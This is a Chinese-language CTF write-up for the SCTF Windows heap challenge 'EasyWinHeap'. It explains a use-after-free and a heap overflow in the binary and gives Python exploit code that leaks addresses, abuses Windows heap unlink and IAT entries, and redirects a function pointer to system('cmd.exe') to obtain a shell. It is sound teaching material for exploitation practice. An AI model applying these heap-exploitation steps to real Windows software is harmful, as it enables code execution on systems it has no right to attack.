SCTF-EasyWinPwn

上上周末打了个比赛,wp硬是拖到了这周才写完。。。。

这个题目牵扯到Windows下的堆的基本运行状态,不熟悉的可以先看上篇介绍Windows heap的文章熟悉一下~

程序分析

某种意义上来说是传统的不能再传统的堆利用,不过是Windows平台下的。首先看到有四个基本功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
hHeap = HeapCreate(1u, 0x2000u, 0x2000u);
puts_ptr = (void (__cdecl *)(const char *))puts;
MyHeapEntry_0 = (MyHeapEntry *)HeapAlloc(hHeap, 9u, 0x80u);
while ( 1 )
{
puts_ptr("/----------------------\\");
puts_ptr("| 1: Alloc. |");
puts_ptr("| 2: Delete. |");
puts_ptr("| 3: Show. |");
puts_ptr("| 4: Edit. |");
puts_ptr("| 5: Exit. |");
puts_ptr("\\----------------------/");
puts_ptr("option >");

常见的全局堆对象,和常见分配删除显示修改。首先我们看到一个用来存放我们分配内存的结构体:

1
2
3
4
5
struct MyHeapEntry{
void* puts_ptr;//最低4字节用来存放当前分配的大小
void* content;
}
MyHeapEntry hHeap[16];

这里居然存放了一个函数指针,基本上就是一个巨大的伏笔,之后肯定是需要将这个地方的函数指针给修改了的。

分配相关的逻辑:

1
2
3
4
5
6
7
8
9
10
puts_ptr("size >");
scanf_("%ud", &v19);
getchar();
if ( v19 > 0x90 )
break;
v6 = (v19 >> 4) + 1;
v7 = HeapAlloc(hHeap, 1u, v6);
v8 = MyHeapEntry_0;
MyHeapEntry_0[offset].func_ptr = (unsigned int)puts | v6;
v8[offset].content = (int)v7;

这里跳过部分堆块检测。这里首先会将我们输入的大小size>>4,然后放在我们之前提到的MyHeapEntry.puts_ptr的最低字节处。猜测这边是为了减小堆所占有的空间,所以只放了四个字节。但是!这里粗心的申请了右移后的大小,也就是说实际上content的大小会远远小于我们申请的大小

删除相关的逻辑:

1
2
3
4
5
6
7
puts_ptr("index >");
scanf_("%ud", &i);
getchar();
if ( i >= 0x10 || !MyHeapEntry_0[i].content )
goto LABEL_29;
HeapFree(hHeap, 1u, (LPVOID)MyHeapEntry_0[i].content);
continue;

经典UAF,删除之后啥都不做,基本上leak的点就找到了。先delete这个chunk,然后直接打印即可泄露。

打印相关的逻辑:

1
2
3
4
5
6
7
puts_ptr("index >");
scanf_("%ud", &index_);
getchar();
if ( index_ >= 0x10 || !MyHeapEntry_0[index_].content )
goto LABEL_29;
((void (__cdecl *)(int))(MyHeapEntry_0[index_].func_ptr & 0xFFFFFFF0))(MyHeapEntry_0[index_].content);
continue;

没有check,直接call之前存放在堆上的函数指针,而且正好还会传一个参数进去。。。。看起来只要能够有一个任意地址修改就能够做到利用了

修改相关的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
puts_ptr("index >");
scanf_("%ud", &index);
getchar();
if ( index >= 0x10 )
goto LABEL_29;
j = index;
if ( !MyHeapEntry_0[index].content )
goto LABEL_29;
puts_ptr("content >");
k = 0;
func = MyHeapEntry_0[j].func_ptr;
cont = MyHeapEntry_0[j].content;
real_size = 16 * (func & 0xF);
chr = getchar();
if ( chr != 10 )
{
do
{
*(_BYTE *)(k++ + cont) = chr;
if ( k == real_size - 1 )
break;
chr = getchar();
}
while ( chr != 10 );
puts_ptr = (void (__cdecl *)(const char *))puts;
}
*(_BYTE *)(k + cont) = 0;
continue;

这里就能发现之前申请内存的那个问题暴露。首先可以注意到,size的大小正如之前猜测的那样,是存放在最低字节的数字*16,而我们申请的内存大小仅仅为最低字节的数字那么小,所以这边肯定会发生堆溢出

利用思路

经典的题目,经典的思路。pwn题两大思路:

  • leak
  • pwn!

Leak 数据

这边为了方便描述,我们将MyHeapEntry_0中存放的每一个元素称为block

Leak 堆相关地址

首先简单科普一哈,Windows下的ASLR和Linux有点点不一样。Windows的ASLR是当image被加载到进程中的时候,整个Image都是ASLR的,包含代码段。而Linux还要开启PIE才会让代码段也随机化。

如何查看ASLR

在Windows下可以使用指令:

1
dumpbin /headers EasyWinHeap.exe

检查当前exe开启了哪些保护。这个dumpbin是VS提供的一个tool,基本上装了vs的都会附带这个exe,使用vs的那个Native Tools Command Prompt的话即可直接敲指令使用了。找打这个exe的Optional header values

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
OPTIONAL HEADER VALUES
10B magic # (PE32)
14.26 linker version
1000 size of code
1600 size of initialized data
0 size of uninitialized data
1584 entry point (00401584)
1000 base of code
2000 base of data
400000 image base (00400000 to 00405FFF)
1000 section alignment
200 file alignment
6.00 operating system version
0.00 image version
6.00 subsystem version
0 Win32 version
6000 size of image
400 size of headers
0 checksum
3 subsystem (Windows CUI)
8140 DLL characteristics
Dynamic base <------
NX compatible
Terminal Server Aware

箭头指向的地方即表示打开了ASLR。

本来很容易能看出UAF+堆溢出=unlink,但是我们却找不到MyHeapEntry_0这个变量的地址,只好先尝试leak。好在UAF之后没有任何check就能够打印,因此可以将堆的地址leak出来。然后,一个非常重要的特点(比赛的时候居然没发现!),这里的MyHeapEntry_0的值也是在堆上的!所以换句话说,其实这里不需要知道MyHeapEntry_0这个变量的具体地址,而是这个数组指向的地址,也就是一个堆上的地址。我们稍微分析一下堆此时的情况可以有如下的图:

1
2
3
4
5
6
7
8
9
10
+-------------+-------------+ +-------------+-------------+
| func_ptr | func_ptr | | | |
+-------------+-------------+ ....... | content | content |
| content_ptr | content_ptr | | | |
+-------------+-------------+ +-------------+-------------+
| | ^ ^
| | | |
| | | |
| +---------------------------|--------------+
+-----------------------------------------+

此时的内存中每一个内存块的相对偏移都是一样的。也就是说,我们只要能够泄露一块地址,我们此时就能够利用相对偏移的方式,找到当前存放的func_ptr/content_ptr的block。这边稍微写一个poc试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def pwn():
ph = Process("EasyWinHeap.exe")
# ph.interactive()
# 0
alloca(ph, 2)
# 1
alloca(ph, 2)
# 2
alloca(ph, 2)
# 3
alloca(ph, 2)
# 4
alloca(ph, 2)
# 5
alloca(ph, 2)
# delete the 1 and 3
delete(ph, 1)
delete(ph, 3)
# print the index 3, leak information
cont = show(ph, 1)
print(cont)
addr = u32(cont[6:6+4])
print("[*] leak address is " + hex(addr))

上述代码构造了一个如下的堆:

通过打印,我们就能够将bk的内容打印出来。并且如上图,这些内存的相对位置都是固定的,于是我们就能将当前的MyHeapEntry数组的地址泄露出来。

1
2
3
4
5
# table base address
table_addr = addr - 0xc0+0x8
print("[+] table address is " + hex(table_addr))
# now we try to unlink this chunk
block_1 = table_addr + 0xc

Leak image

当获得了block[1]的地址之后,我们此时就有了一个unlink的机会。这边记得,Windows下的unlink是不计算heap头的,所以写出来的利用code就是如下的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# unlink this block
fd = block_1-0x4
bk = block_1
"""
block[1]
+----------+----------+----------+-----------+-----------+
| func | ptr[0] | func | ptr[1] | func |
+----------+----------+----------+-----------+-----------+
"""
send_content = p32(fd)+p32(bk)
print("[*] fd:0x%x, bk:0x%x"%(fd, bk))
print(send_content)
edit(ph, 1, send_content)
# trigger the unlink
delete(ph, 0)

trigger漏洞之后,我们就能够得到:

1
block[1].ptr-> &block[1].ptr

此时我们只要尝试修改block[1]的content,就能够直接修改ptr的值,甚至block[2]/block[3]...的func和ptr,也就是一个任意地址写。同时,当call show的时候,会调用

1
func(ptr[1])

此处相当于是任意地址读。那我们接下来要做的事情就和Linux下的pwn有点像:找到system函数,然后call起来~。回忆一下,Linux下我们会尝试寻找一个函数(通常就是puts)的got表,然后将其plt的值打印出来,再和主办方提供的libc.so.6的puts地址对比找到其加载的地址。而Windows下其实也是一样的,只不过Windows下的叫做导入表IAT (import address table),比方说这个puts函数:

1
2
3
4
5
6
7
8
9
10
11
12
// .code
.text:00401040 ; int __cdecl puts(const char *Str)
.text:00401040 puts proc near ; DATA XREF: sub_401050+174↓o
.text:00401040
.text:00401040 Str = dword ptr 4
.text:00401040
.text:00401040 jmp ds:__imp_puts
.text:00401040 puts endp
// IAT part
.idata:004020C4 ; int __cdecl puts(const char *Str)
.idata:004020C4 extrn __imp_puts:dword ; CODE XREF: sub_401050+95↑p
.idata:004020C4 ; sub_401050+9C↑p ...

可以看到,其本身和Linux也很像,也是当call puts函数的时候,直接跳转到一个表上,这个表中会填入puts在当前进程中真正的函数地址。而puts在的dll名字叫做ucrtbase.dll,其中正好存放了system这个函数。那利用起来就和Linux很像了。不过由于ASLR对整个image都生效了,首先我们要试着泄露image。幸好puts的地址被存放在了堆上,而且之前我们让block[1]指向了ptr, 我们这边将image的地址泄露出来:

1
2
3
4
5
6
7
8
9
10
11
12
# now the block[1] point to &block[1]
cont = show(ph, 1)
print(cont)
addr = cont[6:]
addr = u32(addr)&0xfffffff0
print("func|size is " + hex(addr))
input("waiting for dbg...")
puts_real = addr
puts_func_offset = 0x00401040 - 0x00401000
puts_iat = 0x004020c4 - 0x00401000
base_image = puts_real - puts_func_offset
print("[+] leak image base is " + hex(base_image))

泄露出了此时内存中image的puts的地址,然后通过当前image的相对偏移量,就能够将整个image的地址泄露出来。
之后我们计算出此时puts在IAT中的地址,然后写入block[1].ptr,之后再次泄露:

1
2
3
4
5
6
7
send_content = p32(puts_iat+base_image)
edit(ph, 1, send_content)
cont = show(ph, 1)
print(cont)
# here we leak the ucrtbase address
puts_curt_addr = u32(cont[2:5])
print("[+] now leak the ucrt_base address ")

此时我们就能够将ucrtbase.dll给泄露出来了!

PWN!

现在完事具备,我们只剩下将函数指针修改一下,然后call show 就能够完成pwn了!不过此时稍微注意一下,我们之前已经将block[1].ptr修改成了puts的IAT地址,此时如果调用edit,只会尝试修改puts IAT地方的内容,这个显然不是我们希望的,毕竟我们需要一个可以控制的指针。不过还记得刚刚提到的,我们的任意地址写能够直接修改ptr的值,甚至block[2]/block[3]...的func和ptr。所以我们只需要在泄露image的那次,提前将block[2]或者block[3]的ptr地址布置成我们想要的形式,就能够继续实现任意地址写!
经过测试,我们发现修改直接修改block[2]的指针,使其指向block[1]-0x4,那么此时即使我们使用完block[1]之后,仍然拥有第二个任意地址写的指针。
这次我们直接将block[1]-0x4的位置开始的值写入cmd.exe\0,然后正好可以把属于block[2]的位置的函数修改成我们的目标函数指针。这边附上代码说明更加简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
"""
block[1] block[1]
+----------+----------+----------+-----------+-----------+
| func | puts_iat | func | ptr[2] | func |
+----------+----------+----------+-----------+-----------+
ptr[2] ---> &block[1]
"""
send_content = p32(puts_iat+base_image) + p32(puts_real) + p32(block_1 - 0x4)
edit(ph, 1, send_content)
cont = show(ph, 1)
print(cont)
# here we leak the ucrtbase address
puts_ucrt_addr = u32(cont[2:6])
print(hex(puts_ucrt_addr))
ucrt_base = puts_ucrt_addr - ucrt_puts
print("[+] now leak the ucrt_base address " + hex(ucrt_base))
real_system = ucrt_system + ucrt_base
print("[+] the system address is " + hex(real_system))
# now we overwrite the block[2] func and content information
edit(ph, 2, b"cmd.exe\0" + p32(real_system) + p32(block_1 - 0x4))
input("waiting for dbg...")
# edit(ph, 1, p32(block_1+4) + )
print_banner(ph)
ph.sendline("3")
print("3")
cont = ph.recvuntil("index >")
print(cont.decode('utf-8'))
ph.sendline(str(2))
ph.interactive()

运行之后就能够拿到shell啦!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
content >
b'cmd.exe\x00\x90\xc0Ou\xa0\x04y\x01'
waiting for dbg...
/----------------------\
| 1: Alloc. |
| 2: Delete. |
| 3: Show. |
| 4: Edit. |
| 5: Exit. |
\----------------------/
option >
3
index >
Switching to interative mode
$
Microsoft Windows [ 10.0.18363.900]
(c) 2019 Microsoft Corporation

后记

这段时间因为工作上的一些事情,过的浑浑噩噩的。甚至于对技术都没能像过去那样充满专注,导致一个简单的heap pwn 的writeup居然也写了两周,这个真的是不应该。不过这个比赛也让我发现CTF确实是第一生产力(大雾),看了两周没看懂的winheap,一个比赛就懂了,确实还是有帮助。而且Windows下的堆和Linux下的区别似乎不少,这次比赛也只是浅浅的了解了一些,以后有机会的话还是得深入理解一下Rtl系列中和heap相关的部分。